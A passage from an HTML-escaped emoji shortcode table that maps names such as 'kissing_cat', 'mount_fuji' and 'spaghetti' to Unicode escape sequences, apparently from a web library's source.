          &quot;japanese_ogre&quot;: &quot;\u{1F479}&quot;,
          &quot;jeans&quot;: &quot;\u{1F456}&quot;,
          &quot;joy&quot;: &quot;\u{1F602}&quot;,
          &quot;joy_cat&quot;: &quot;\u{1F639}&quot;,
          &quot;joystick&quot;: &quot;\u{1F579}&quot;,
          &quot;kaaba&quot;: &quot;\u{1F54B}&quot;,
          &quot;key&quot;: &quot;\u{1F511}&quot;,
          &quot;keyboard&quot;: &quot;\u2328\uFE0F&quot;,
          &quot;keycap_ten&quot;: &quot;\u{1F51F}&quot;,
          &quot;kick_scooter&quot;: &quot;\u{1F6F4}&quot;,
          &quot;kimono&quot;: &quot;\u{1F458}&quot;,
          &quot;kiss&quot;: &quot;\u{1F48B}&quot;,
          &quot;kissing&quot;: &quot;\u{1F617}&quot;,
          &quot;kissing_cat&quot;: &quot;\u{1F63D}&quot;,
          &quot;kissing_closed_eyes&quot;: &quot;\u{1F61A}&quot;,
          &quot;kissing_heart&quot;: &quot;\u{1F618}&quot;,
          &quot;kissing_smiling_eyes&quot;: &quot;\u{1F619}&quot;,
          &quot;kiwi_fruit&quot;: &quot;\u{1F95D}&quot;,
          &quot;koala&quot;: &quot;\u{1F428}&quot;,
          &quot;koko&quot;: &quot;\u{1F201}&quot;,
          &quot;label&quot;: &quot;\u{1F3F7}&quot;,
          &quot;large_blue_circle&quot;: &quot;\u{1F535}&quot;,
          &quot;large_blue_diamond&quot;: &quot;\u{1F537}&quot;,
          &quot;large_orange_diamond&quot;: &quot;\u{1F536}&quot;,
          &quot;last_quarter_moon&quot;: &quot;\u{1F317}&quot;,
          &quot;last_quarter_moon_with_face&quot;: &quot;\u{1F31C}&quot;,
          &quot;latin_cross&quot;: &quot;\u271D\uFE0F&quot;,
          &quot;laughing&quot;: &quot;\u{1F606}&quot;,
          &quot;leaves&quot;: &quot;\u{1F343}&quot;,
          &quot;ledger&quot;: &quot;\u{1F4D2}&quot;,
          &quot;left_luggage&quot;: &quot;\u{1F6C5}&quot;,
          &quot;left_right_arrow&quot;: &quot;\u2194\uFE0F&quot;,
          &quot;leftwards_arrow_with_hook&quot;: &quot;\u21A9\uFE0F&quot;,
          &quot;lemon&quot;: &quot;\u{1F34B}&quot;,
          &quot;leo&quot;: &quot;\u264C\uFE0F&quot;,
          &quot;leopard&quot;: &quot;\u{1F406}&quot;,
          &quot;level_slider&quot;: &quot;\u{1F39A}&quot;,
          &quot;libra&quot;: &quot;\u264E\uFE0F&quot;,
          &quot;light_rail&quot;: &quot;\u{1F688}&quot;,
          &quot;link&quot;: &quot;\u{1F517}&quot;,
          &quot;lion&quot;: &quot;\u{1F981}&quot;,
          &quot;lips&quot;: &quot;\u{1F444}&quot;,
          &quot;lipstick&quot;: &quot;\u{1F484}&quot;,
          &quot;lizard&quot;: &quot;\u{1F98E}&quot;,
          &quot;lock&quot;: &quot;\u{1F512}&quot;,
          &quot;lock_with_ink_pen&quot;: &quot;\u{1F50F}&quot;,
          &quot;lollipop&quot;: &quot;\u{1F36D}&quot;,
          &quot;loop&quot;: &quot;\u27BF&quot;,
          &quot;loud_sound&quot;: &quot;\u{1F50A}&quot;,
          &quot;loudspeaker&quot;: &quot;\u{1F4E2}&quot;,
          &quot;love_hotel&quot;: &quot;\u{1F3E9}&quot;,
          &quot;love_letter&quot;: &quot;\u{1F48C}&quot;,
          &quot;low_brightness&quot;: &quot;\u{1F505}&quot;,
          &quot;lying_face&quot;: &quot;\u{1F925}&quot;,
          &quot;m&quot;: &quot;\u24C2\uFE0F&quot;,
          &quot;mag&quot;: &quot;\u{1F50D}&quot;,
          &quot;mag_right&quot;: &quot;\u{1F50E}&quot;,
          &quot;mahjong&quot;: &quot;\u{1F004}\uFE0F&quot;,
          &quot;mailbox&quot;: &quot;\u{1F4EB}&quot;,
          &quot;mailbox_closed&quot;: &quot;\u{1F4EA}&quot;,
          &quot;mailbox_with_mail&quot;: &quot;\u{1F4EC}&quot;,
          &quot;mailbox_with_no_mail&quot;: &quot;\u{1F4ED}&quot;,
          &quot;man&quot;: &quot;\u{1F468}&quot;,
          &quot;man_artist&quot;: &quot;\u{1F468}&amp;zwj;\u{1F3A8}&quot;,
          &quot;man_astronaut&quot;: &quot;\u{1F468}&amp;zwj;\u{1F680}&quot;,
          &quot;man_cartwheeling&quot;: &quot;\u{1F938}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_cook&quot;: &quot;\u{1F468}&amp;zwj;\u{1F373}&quot;,
          &quot;man_dancing&quot;: &quot;\u{1F57A}&quot;,
          &quot;man_facepalming&quot;: &quot;\u{1F926}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_factory_worker&quot;: &quot;\u{1F468}&amp;zwj;\u{1F3ED}&quot;,
          &quot;man_farmer&quot;: &quot;\u{1F468}&amp;zwj;\u{1F33E}&quot;,
          &quot;man_firefighter&quot;: &quot;\u{1F468}&amp;zwj;\u{1F692}&quot;,
          &quot;man_health_worker&quot;: &quot;\u{1F468}&amp;zwj;\u2695\uFE0F&quot;,
          &quot;man_in_tuxedo&quot;: &quot;\u{1F935}&quot;,
          &quot;man_judge&quot;: &quot;\u{1F468}&amp;zwj;\u2696\uFE0F&quot;,
          &quot;man_juggling&quot;: &quot;\u{1F939}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_mechanic&quot;: &quot;\u{1F468}&amp;zwj;\u{1F527}&quot;,
          &quot;man_office_worker&quot;: &quot;\u{1F468}&amp;zwj;\u{1F4BC}&quot;,
          &quot;man_pilot&quot;: &quot;\u{1F468}&amp;zwj;\u2708\uFE0F&quot;,
          &quot;man_playing_handball&quot;: &quot;\u{1F93E}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_playing_water_polo&quot;: &quot;\u{1F93D}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_scientist&quot;: &quot;\u{1F468}&amp;zwj;\u{1F52C}&quot;,
          &quot;man_shrugging&quot;: &quot;\u{1F937}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;man_singer&quot;: &quot;\u{1F468}&amp;zwj;\u{1F3A4}&quot;,
          &quot;man_student&quot;: &quot;\u{1F468}&amp;zwj;\u{1F393}&quot;,
          &quot;man_teacher&quot;: &quot;\u{1F468}&amp;zwj;\u{1F3EB}&quot;,
          &quot;man_technologist&quot;: &quot;\u{1F468}&amp;zwj;\u{1F4BB}&quot;,
          &quot;man_with_gua_pi_mao&quot;: &quot;\u{1F472}&quot;,
          &quot;man_with_turban&quot;: &quot;\u{1F473}&quot;,
          &quot;tangerine&quot;: &quot;\u{1F34A}&quot;,
          &quot;mans_shoe&quot;: &quot;\u{1F45E}&quot;,
          &quot;mantelpiece_clock&quot;: &quot;\u{1F570}&quot;,
          &quot;maple_leaf&quot;: &quot;\u{1F341}&quot;,
          &quot;martial_arts_uniform&quot;: &quot;\u{1F94B}&quot;,
          &quot;mask&quot;: &quot;\u{1F637}&quot;,
          &quot;massage_woman&quot;: &quot;\u{1F486}&quot;,
          &quot;massage_man&quot;: &quot;\u{1F486}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;meat_on_bone&quot;: &quot;\u{1F356}&quot;,
          &quot;medal_military&quot;: &quot;\u{1F396}&quot;,
          &quot;medal_sports&quot;: &quot;\u{1F3C5}&quot;,
          &quot;mega&quot;: &quot;\u{1F4E3}&quot;,
          &quot;melon&quot;: &quot;\u{1F348}&quot;,
          &quot;memo&quot;: &quot;\u{1F4DD}&quot;,
          &quot;men_wrestling&quot;: &quot;\u{1F93C}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;menorah&quot;: &quot;\u{1F54E}&quot;,
          &quot;mens&quot;: &quot;\u{1F6B9}&quot;,
          &quot;metal&quot;: &quot;\u{1F918}&quot;,
          &quot;metro&quot;: &quot;\u{1F687}&quot;,
          &quot;microphone&quot;: &quot;\u{1F3A4}&quot;,
          &quot;microscope&quot;: &quot;\u{1F52C}&quot;,
          &quot;milk_glass&quot;: &quot;\u{1F95B}&quot;,
          &quot;milky_way&quot;: &quot;\u{1F30C}&quot;,
          &quot;minibus&quot;: &quot;\u{1F690}&quot;,
          &quot;minidisc&quot;: &quot;\u{1F4BD}&quot;,
          &quot;mobile_phone_off&quot;: &quot;\u{1F4F4}&quot;,
          &quot;money_mouth_face&quot;: &quot;\u{1F911}&quot;,
          &quot;money_with_wings&quot;: &quot;\u{1F4B8}&quot;,
          &quot;moneybag&quot;: &quot;\u{1F4B0}&quot;,
          &quot;monkey&quot;: &quot;\u{1F412}&quot;,
          &quot;monkey_face&quot;: &quot;\u{1F435}&quot;,
          &quot;monorail&quot;: &quot;\u{1F69D}&quot;,
          &quot;moon&quot;: &quot;\u{1F314}&quot;,
          &quot;mortar_board&quot;: &quot;\u{1F393}&quot;,
          &quot;mosque&quot;: &quot;\u{1F54C}&quot;,
          &quot;motor_boat&quot;: &quot;\u{1F6E5}&quot;,
          &quot;motor_scooter&quot;: &quot;\u{1F6F5}&quot;,
          &quot;motorcycle&quot;: &quot;\u{1F3CD}&quot;,
          &quot;motorway&quot;: &quot;\u{1F6E3}&quot;,
          &quot;mount_fuji&quot;: &quot;\u{1F5FB}&quot;,
          &quot;mountain&quot;: &quot;\u26F0&quot;,
          &quot;mountain_biking_man&quot;: &quot;\u{1F6B5}&quot;,
          &quot;mountain_biking_woman&quot;: &quot;\u{1F6B5}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;mountain_cableway&quot;: &quot;\u{1F6A0}&quot;,
          &quot;mountain_railway&quot;: &quot;\u{1F69E}&quot;,
          &quot;mountain_snow&quot;: &quot;\u{1F3D4}&quot;,
          &quot;mouse&quot;: &quot;\u{1F42D}&quot;,
          &quot;mouse2&quot;: &quot;\u{1F401}&quot;,
          &quot;movie_camera&quot;: &quot;\u{1F3A5}&quot;,
          &quot;moyai&quot;: &quot;\u{1F5FF}&quot;,
          &quot;mrs_claus&quot;: &quot;\u{1F936}&quot;,
          &quot;muscle&quot;: &quot;\u{1F4AA}&quot;,
          &quot;mushroom&quot;: &quot;\u{1F344}&quot;,
          &quot;musical_keyboard&quot;: &quot;\u{1F3B9}&quot;,
          &quot;musical_note&quot;: &quot;\u{1F3B5}&quot;,
          &quot;musical_score&quot;: &quot;\u{1F3BC}&quot;,
          &quot;mute&quot;: &quot;\u{1F507}&quot;,
          &quot;nail_care&quot;: &quot;\u{1F485}&quot;,
          &quot;name_badge&quot;: &quot;\u{1F4DB}&quot;,
          &quot;national_park&quot;: &quot;\u{1F3DE}&quot;,
          &quot;nauseated_face&quot;: &quot;\u{1F922}&quot;,
          &quot;necktie&quot;: &quot;\u{1F454}&quot;,
          &quot;negative_squared_cross_mark&quot;: &quot;\u274E&quot;,
          &quot;nerd_face&quot;: &quot;\u{1F913}&quot;,
          &quot;neutral_face&quot;: &quot;\u{1F610}&quot;,
          &quot;new&quot;: &quot;\u{1F195}&quot;,
          &quot;new_moon&quot;: &quot;\u{1F311}&quot;,
          &quot;new_moon_with_face&quot;: &quot;\u{1F31A}&quot;,
          &quot;newspaper&quot;: &quot;\u{1F4F0}&quot;,
          &quot;newspaper_roll&quot;: &quot;\u{1F5DE}&quot;,
          &quot;next_track_button&quot;: &quot;\u23ED&quot;,
          &quot;ng&quot;: &quot;\u{1F196}&quot;,
          &quot;no_good_man&quot;: &quot;\u{1F645}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;no_good_woman&quot;: &quot;\u{1F645}&quot;,
          &quot;night_with_stars&quot;: &quot;\u{1F303}&quot;,
          &quot;no_bell&quot;: &quot;\u{1F515}&quot;,
          &quot;no_bicycles&quot;: &quot;\u{1F6B3}&quot;,
          &quot;no_entry&quot;: &quot;\u26D4\uFE0F&quot;,
          &quot;no_entry_sign&quot;: &quot;\u{1F6AB}&quot;,
          &quot;no_mobile_phones&quot;: &quot;\u{1F4F5}&quot;,
          &quot;no_mouth&quot;: &quot;\u{1F636}&quot;,
          &quot;no_pedestrians&quot;: &quot;\u{1F6B7}&quot;,
          &quot;no_smoking&quot;: &quot;\u{1F6AD}&quot;,
          &quot;non-potable_water&quot;: &quot;\u{1F6B1}&quot;,
          &quot;nose&quot;: &quot;\u{1F443}&quot;,
          &quot;notebook&quot;: &quot;\u{1F4D3}&quot;,
          &quot;notebook_with_decorative_cover&quot;: &quot;\u{1F4D4}&quot;,
          &quot;notes&quot;: &quot;\u{1F3B6}&quot;,
          &quot;nut_and_bolt&quot;: &quot;\u{1F529}&quot;,
          &quot;o&quot;: &quot;\u2B55\uFE0F&quot;,
          &quot;o2&quot;: &quot;\u{1F17E}\uFE0F&quot;,
          &quot;ocean&quot;: &quot;\u{1F30A}&quot;,
          &quot;octopus&quot;: &quot;\u{1F419}&quot;,
          &quot;oden&quot;: &quot;\u{1F362}&quot;,
          &quot;office&quot;: &quot;\u{1F3E2}&quot;,
          &quot;oil_drum&quot;: &quot;\u{1F6E2}&quot;,
          &quot;ok&quot;: &quot;\u{1F197}&quot;,
          &quot;ok_hand&quot;: &quot;\u{1F44C}&quot;,
          &quot;ok_man&quot;: &quot;\u{1F646}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;ok_woman&quot;: &quot;\u{1F646}&quot;,
          &quot;old_key&quot;: &quot;\u{1F5DD}&quot;,
          &quot;older_man&quot;: &quot;\u{1F474}&quot;,
          &quot;older_woman&quot;: &quot;\u{1F475}&quot;,
          &quot;om&quot;: &quot;\u{1F549}&quot;,
          &quot;on&quot;: &quot;\u{1F51B}&quot;,
          &quot;oncoming_automobile&quot;: &quot;\u{1F698}&quot;,
          &quot;oncoming_bus&quot;: &quot;\u{1F68D}&quot;,
          &quot;oncoming_police_car&quot;: &quot;\u{1F694}&quot;,
          &quot;oncoming_taxi&quot;: &quot;\u{1F696}&quot;,
          &quot;open_file_folder&quot;: &quot;\u{1F4C2}&quot;,
          &quot;open_hands&quot;: &quot;\u{1F450}&quot;,
          &quot;open_mouth&quot;: &quot;\u{1F62E}&quot;,
          &quot;open_umbrella&quot;: &quot;\u2602\uFE0F&quot;,
          &quot;ophiuchus&quot;: &quot;\u26CE&quot;,
          &quot;orange_book&quot;: &quot;\u{1F4D9}&quot;,
          &quot;orthodox_cross&quot;: &quot;\u2626\uFE0F&quot;,
          &quot;outbox_tray&quot;: &quot;\u{1F4E4}&quot;,
          &quot;owl&quot;: &quot;\u{1F989}&quot;,
          &quot;ox&quot;: &quot;\u{1F402}&quot;,
          &quot;package&quot;: &quot;\u{1F4E6}&quot;,
          &quot;page_facing_up&quot;: &quot;\u{1F4C4}&quot;,
          &quot;page_with_curl&quot;: &quot;\u{1F4C3}&quot;,
          &quot;pager&quot;: &quot;\u{1F4DF}&quot;,
          &quot;paintbrush&quot;: &quot;\u{1F58C}&quot;,
          &quot;palm_tree&quot;: &quot;\u{1F334}&quot;,
          &quot;pancakes&quot;: &quot;\u{1F95E}&quot;,
          &quot;panda_face&quot;: &quot;\u{1F43C}&quot;,
          &quot;paperclip&quot;: &quot;\u{1F4CE}&quot;,
          &quot;paperclips&quot;: &quot;\u{1F587}&quot;,
          &quot;parasol_on_ground&quot;: &quot;\u26F1&quot;,
          &quot;parking&quot;: &quot;\u{1F17F}\uFE0F&quot;,
          &quot;part_alternation_mark&quot;: &quot;\u303D\uFE0F&quot;,
          &quot;partly_sunny&quot;: &quot;\u26C5\uFE0F&quot;,
          &quot;passenger_ship&quot;: &quot;\u{1F6F3}&quot;,
          &quot;passport_control&quot;: &quot;\u{1F6C2}&quot;,
          &quot;pause_button&quot;: &quot;\u23F8&quot;,
          &quot;peace_symbol&quot;: &quot;\u262E\uFE0F&quot;,
          &quot;peach&quot;: &quot;\u{1F351}&quot;,
          &quot;peanuts&quot;: &quot;\u{1F95C}&quot;,
          &quot;pear&quot;: &quot;\u{1F350}&quot;,
          &quot;pen&quot;: &quot;\u{1F58A}&quot;,
          &quot;pencil2&quot;: &quot;\u270F\uFE0F&quot;,
          &quot;penguin&quot;: &quot;\u{1F427}&quot;,
          &quot;pensive&quot;: &quot;\u{1F614}&quot;,
          &quot;performing_arts&quot;: &quot;\u{1F3AD}&quot;,
          &quot;persevere&quot;: &quot;\u{1F623}&quot;,
          &quot;person_fencing&quot;: &quot;\u{1F93A}&quot;,
          &quot;pouting_woman&quot;: &quot;\u{1F64E}&quot;,
          &quot;phone&quot;: &quot;\u260E\uFE0F&quot;,
          &quot;pick&quot;: &quot;\u26CF&quot;,
          &quot;pig&quot;: &quot;\u{1F437}&quot;,
          &quot;pig2&quot;: &quot;\u{1F416}&quot;,
          &quot;pig_nose&quot;: &quot;\u{1F43D}&quot;,
          &quot;pill&quot;: &quot;\u{1F48A}&quot;,
          &quot;pineapple&quot;: &quot;\u{1F34D}&quot;,
          &quot;ping_pong&quot;: &quot;\u{1F3D3}&quot;,
          &quot;pisces&quot;: &quot;\u2653\uFE0F&quot;,
          &quot;pizza&quot;: &quot;\u{1F355}&quot;,
          &quot;place_of_worship&quot;: &quot;\u{1F6D0}&quot;,
          &quot;plate_with_cutlery&quot;: &quot;\u{1F37D}&quot;,
          &quot;play_or_pause_button&quot;: &quot;\u23EF&quot;,
          &quot;point_down&quot;: &quot;\u{1F447}&quot;,
          &quot;point_left&quot;: &quot;\u{1F448}&quot;,
          &quot;point_right&quot;: &quot;\u{1F449}&quot;,
          &quot;point_up&quot;: &quot;\u261D\uFE0F&quot;,
          &quot;point_up_2&quot;: &quot;\u{1F446}&quot;,
          &quot;police_car&quot;: &quot;\u{1F693}&quot;,
          &quot;policewoman&quot;: &quot;\u{1F46E}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;poodle&quot;: &quot;\u{1F429}&quot;,
          &quot;popcorn&quot;: &quot;\u{1F37F}&quot;,
          &quot;post_office&quot;: &quot;\u{1F3E3}&quot;,
          &quot;postal_horn&quot;: &quot;\u{1F4EF}&quot;,
          &quot;postbox&quot;: &quot;\u{1F4EE}&quot;,
          &quot;potable_water&quot;: &quot;\u{1F6B0}&quot;,
          &quot;potato&quot;: &quot;\u{1F954}&quot;,
          &quot;pouch&quot;: &quot;\u{1F45D}&quot;,
          &quot;poultry_leg&quot;: &quot;\u{1F357}&quot;,
          &quot;pound&quot;: &quot;\u{1F4B7}&quot;,
          &quot;rage&quot;: &quot;\u{1F621}&quot;,
          &quot;pouting_cat&quot;: &quot;\u{1F63E}&quot;,
          &quot;pouting_man&quot;: &quot;\u{1F64E}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;pray&quot;: &quot;\u{1F64F}&quot;,
          &quot;prayer_beads&quot;: &quot;\u{1F4FF}&quot;,
          &quot;pregnant_woman&quot;: &quot;\u{1F930}&quot;,
          &quot;previous_track_button&quot;: &quot;\u23EE&quot;,
          &quot;prince&quot;: &quot;\u{1F934}&quot;,
          &quot;princess&quot;: &quot;\u{1F478}&quot;,
          &quot;printer&quot;: &quot;\u{1F5A8}&quot;,
          &quot;purple_heart&quot;: &quot;\u{1F49C}&quot;,
          &quot;purse&quot;: &quot;\u{1F45B}&quot;,
          &quot;pushpin&quot;: &quot;\u{1F4CC}&quot;,
          &quot;put_litter_in_its_place&quot;: &quot;\u{1F6AE}&quot;,
          &quot;question&quot;: &quot;\u2753&quot;,
          &quot;rabbit&quot;: &quot;\u{1F430}&quot;,
          &quot;rabbit2&quot;: &quot;\u{1F407}&quot;,
          &quot;racehorse&quot;: &quot;\u{1F40E}&quot;,
          &quot;racing_car&quot;: &quot;\u{1F3CE}&quot;,
          &quot;radio&quot;: &quot;\u{1F4FB}&quot;,
          &quot;radio_button&quot;: &quot;\u{1F518}&quot;,
          &quot;radioactive&quot;: &quot;\u2622\uFE0F&quot;,
          &quot;railway_car&quot;: &quot;\u{1F683}&quot;,
          &quot;railway_track&quot;: &quot;\u{1F6E4}&quot;,
          &quot;rainbow&quot;: &quot;\u{1F308}&quot;,
          &quot;rainbow_flag&quot;: &quot;\u{1F3F3}\uFE0F&amp;zwj;\u{1F308}&quot;,
          &quot;raised_back_of_hand&quot;: &quot;\u{1F91A}&quot;,
          &quot;raised_hand_with_fingers_splayed&quot;: &quot;\u{1F590}&quot;,
          &quot;raised_hands&quot;: &quot;\u{1F64C}&quot;,
          &quot;raising_hand_woman&quot;: &quot;\u{1F64B}&quot;,
          &quot;raising_hand_man&quot;: &quot;\u{1F64B}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;ram&quot;: &quot;\u{1F40F}&quot;,
          &quot;ramen&quot;: &quot;\u{1F35C}&quot;,
          &quot;rat&quot;: &quot;\u{1F400}&quot;,
          &quot;record_button&quot;: &quot;\u23FA&quot;,
          &quot;recycle&quot;: &quot;\u267B\uFE0F&quot;,
          &quot;red_circle&quot;: &quot;\u{1F534}&quot;,
          &quot;registered&quot;: &quot;\xAE\uFE0F&quot;,
          &quot;relaxed&quot;: &quot;\u263A\uFE0F&quot;,
          &quot;relieved&quot;: &quot;\u{1F60C}&quot;,
          &quot;reminder_ribbon&quot;: &quot;\u{1F397}&quot;,
          &quot;repeat&quot;: &quot;\u{1F501}&quot;,
          &quot;repeat_one&quot;: &quot;\u{1F502}&quot;,
          &quot;rescue_worker_helmet&quot;: &quot;\u26D1&quot;,
          &quot;restroom&quot;: &quot;\u{1F6BB}&quot;,
          &quot;revolving_hearts&quot;: &quot;\u{1F49E}&quot;,
          &quot;rewind&quot;: &quot;\u23EA&quot;,
          &quot;rhinoceros&quot;: &quot;\u{1F98F}&quot;,
          &quot;ribbon&quot;: &quot;\u{1F380}&quot;,
          &quot;rice&quot;: &quot;\u{1F35A}&quot;,
          &quot;rice_ball&quot;: &quot;\u{1F359}&quot;,
          &quot;rice_cracker&quot;: &quot;\u{1F358}&quot;,
          &quot;rice_scene&quot;: &quot;\u{1F391}&quot;,
          &quot;right_anger_bubble&quot;: &quot;\u{1F5EF}&quot;,
          &quot;ring&quot;: &quot;\u{1F48D}&quot;,
          &quot;robot&quot;: &quot;\u{1F916}&quot;,
          &quot;rocket&quot;: &quot;\u{1F680}&quot;,
          &quot;rofl&quot;: &quot;\u{1F923}&quot;,
          &quot;roll_eyes&quot;: &quot;\u{1F644}&quot;,
          &quot;roller_coaster&quot;: &quot;\u{1F3A2}&quot;,
          &quot;rooster&quot;: &quot;\u{1F413}&quot;,
          &quot;rose&quot;: &quot;\u{1F339}&quot;,
          &quot;rosette&quot;: &quot;\u{1F3F5}&quot;,
          &quot;rotating_light&quot;: &quot;\u{1F6A8}&quot;,
          &quot;round_pushpin&quot;: &quot;\u{1F4CD}&quot;,
          &quot;rowing_man&quot;: &quot;\u{1F6A3}&quot;,
          &quot;rowing_woman&quot;: &quot;\u{1F6A3}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;rugby_football&quot;: &quot;\u{1F3C9}&quot;,
          &quot;running_man&quot;: &quot;\u{1F3C3}&quot;,
          &quot;running_shirt_with_sash&quot;: &quot;\u{1F3BD}&quot;,
          &quot;running_woman&quot;: &quot;\u{1F3C3}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;sa&quot;: &quot;\u{1F202}\uFE0F&quot;,
          &quot;sagittarius&quot;: &quot;\u2650\uFE0F&quot;,
          &quot;sake&quot;: &quot;\u{1F376}&quot;,
          &quot;sandal&quot;: &quot;\u{1F461}&quot;,
          &quot;santa&quot;: &quot;\u{1F385}&quot;,
          &quot;satellite&quot;: &quot;\u{1F4E1}&quot;,
          &quot;saxophone&quot;: &quot;\u{1F3B7}&quot;,
          &quot;school&quot;: &quot;\u{1F3EB}&quot;,
          &quot;school_satchel&quot;: &quot;\u{1F392}&quot;,
          &quot;scissors&quot;: &quot;\u2702\uFE0F&quot;,
          &quot;scorpion&quot;: &quot;\u{1F982}&quot;,
          &quot;scorpius&quot;: &quot;\u264F\uFE0F&quot;,
          &quot;scream&quot;: &quot;\u{1F631}&quot;,
          &quot;scream_cat&quot;: &quot;\u{1F640}&quot;,
          &quot;scroll&quot;: &quot;\u{1F4DC}&quot;,
          &quot;seat&quot;: &quot;\u{1F4BA}&quot;,
          &quot;secret&quot;: &quot;\u3299\uFE0F&quot;,
          &quot;see_no_evil&quot;: &quot;\u{1F648}&quot;,
          &quot;seedling&quot;: &quot;\u{1F331}&quot;,
          &quot;selfie&quot;: &quot;\u{1F933}&quot;,
          &quot;shallow_pan_of_food&quot;: &quot;\u{1F958}&quot;,
          &quot;shamrock&quot;: &quot;\u2618\uFE0F&quot;,
          &quot;shark&quot;: &quot;\u{1F988}&quot;,
          &quot;shaved_ice&quot;: &quot;\u{1F367}&quot;,
          &quot;sheep&quot;: &quot;\u{1F411}&quot;,
          &quot;shell&quot;: &quot;\u{1F41A}&quot;,
          &quot;shield&quot;: &quot;\u{1F6E1}&quot;,
          &quot;shinto_shrine&quot;: &quot;\u26E9&quot;,
          &quot;ship&quot;: &quot;\u{1F6A2}&quot;,
          &quot;shirt&quot;: &quot;\u{1F455}&quot;,
          &quot;shopping&quot;: &quot;\u{1F6CD}&quot;,
          &quot;shopping_cart&quot;: &quot;\u{1F6D2}&quot;,
          &quot;shower&quot;: &quot;\u{1F6BF}&quot;,
          &quot;shrimp&quot;: &quot;\u{1F990}&quot;,
          &quot;signal_strength&quot;: &quot;\u{1F4F6}&quot;,
          &quot;six_pointed_star&quot;: &quot;\u{1F52F}&quot;,
          &quot;ski&quot;: &quot;\u{1F3BF}&quot;,
          &quot;skier&quot;: &quot;\u26F7&quot;,
          &quot;skull&quot;: &quot;\u{1F480}&quot;,
          &quot;skull_and_crossbones&quot;: &quot;\u2620\uFE0F&quot;,
          &quot;sleeping&quot;: &quot;\u{1F634}&quot;,
          &quot;sleeping_bed&quot;: &quot;\u{1F6CC}&quot;,
          &quot;sleepy&quot;: &quot;\u{1F62A}&quot;,
          &quot;slightly_frowning_face&quot;: &quot;\u{1F641}&quot;,
          &quot;slightly_smiling_face&quot;: &quot;\u{1F642}&quot;,
          &quot;slot_machine&quot;: &quot;\u{1F3B0}&quot;,
          &quot;small_airplane&quot;: &quot;\u{1F6E9}&quot;,
          &quot;small_blue_diamond&quot;: &quot;\u{1F539}&quot;,
          &quot;small_orange_diamond&quot;: &quot;\u{1F538}&quot;,
          &quot;small_red_triangle&quot;: &quot;\u{1F53A}&quot;,
          &quot;small_red_triangle_down&quot;: &quot;\u{1F53B}&quot;,
          &quot;smile&quot;: &quot;\u{1F604}&quot;,
          &quot;smile_cat&quot;: &quot;\u{1F638}&quot;,
          &quot;smiley&quot;: &quot;\u{1F603}&quot;,
          &quot;smiley_cat&quot;: &quot;\u{1F63A}&quot;,
          &quot;smiling_imp&quot;: &quot;\u{1F608}&quot;,
          &quot;smirk&quot;: &quot;\u{1F60F}&quot;,
          &quot;smirk_cat&quot;: &quot;\u{1F63C}&quot;,
          &quot;smoking&quot;: &quot;\u{1F6AC}&quot;,
          &quot;snail&quot;: &quot;\u{1F40C}&quot;,
          &quot;snake&quot;: &quot;\u{1F40D}&quot;,
          &quot;sneezing_face&quot;: &quot;\u{1F927}&quot;,
          &quot;snowboarder&quot;: &quot;\u{1F3C2}&quot;,
          &quot;snowflake&quot;: &quot;\u2744\uFE0F&quot;,
          &quot;snowman&quot;: &quot;\u26C4\uFE0F&quot;,
          &quot;snowman_with_snow&quot;: &quot;\u2603\uFE0F&quot;,
          &quot;sob&quot;: &quot;\u{1F62D}&quot;,
          &quot;soccer&quot;: &quot;\u26BD\uFE0F&quot;,
          &quot;soon&quot;: &quot;\u{1F51C}&quot;,
          &quot;sos&quot;: &quot;\u{1F198}&quot;,
          &quot;sound&quot;: &quot;\u{1F509}&quot;,
          &quot;space_invader&quot;: &quot;\u{1F47E}&quot;,
          &quot;spades&quot;: &quot;\u2660\uFE0F&quot;,
          &quot;spaghetti&quot;: &quot;\u{1F35D}&quot;,
          &quot;sparkle&quot;: &quot;\u2747\uFE0F&quot;,
          &quot;sparkler&quot;: &quot;\u{1F387}&quot;,
          &quot;sparkles&quot;: &quot;\u2728&quot;,
          &quot;sparkling_heart&quot;: &quot;\u{1F496}&quot;,
          &quot;speak_no_evil&quot;: &quot;\u{1F64A}&quot;,
          &quot;speaker&quot;: &quot;\u{1F508}&quot;,
          &quot;speaking_head&quot;: &quot;\u{1F5E3}&quot;,
          &quot;speech_balloon&quot;: &quot;\u{1F4AC}&quot;,
          &quot;speedboat&quot;: &quot;\u{1F6A4}&quot;,
          &quot;spider&quot;: &quot;\u{1F577}&quot;,
          &quot;spider_web&quot;: &quot;\u{1F578}&quot;,
          &quot;spiral_calendar&quot;: &quot;\u{1F5D3}&quot;,
          &quot;spiral_notepad&quot;: &quot;\u{1F5D2}&quot;,
          &quot;spoon&quot;: &quot;\u{1F944}&quot;,
          &quot;squid&quot;: &quot;\u{1F991}&quot;,
          &quot;stadium&quot;: &quot;\u{1F3DF}&quot;,
          &quot;star&quot;: &quot;\u2B50\uFE0F&quot;,
          &quot;star2&quot;: &quot;\u{1F31F}&quot;,
          &quot;star_and_crescent&quot;: &quot;\u262A\uFE0F&quot;,
          &quot;star_of_david&quot;: &quot;\u2721\uFE0F&quot;,
          &quot;stars&quot;: &quot;\u{1F320}&quot;,
          &quot;station&quot;: &quot;\u{1F689}&quot;,
          &quot;statue_of_liberty&quot;: &quot;\u{1F5FD}&quot;,
          &quot;steam_locomotive&quot;: &quot;\u{1F682}&quot;,
          &quot;stew&quot;: &quot;\u{1F372}&quot;,
          &quot;stop_button&quot;: &quot;\u23F9&quot;,
          &quot;stop_sign&quot;: &quot;\u{1F6D1}&quot;,
          &quot;stopwatch&quot;: &quot;\u23F1&quot;,
          &quot;straight_ruler&quot;: &quot;\u{1F4CF}&quot;,
          &quot;strawberry&quot;: &quot;\u{1F353}&quot;,
          &quot;stuck_out_tongue&quot;: &quot;\u{1F61B}&quot;,
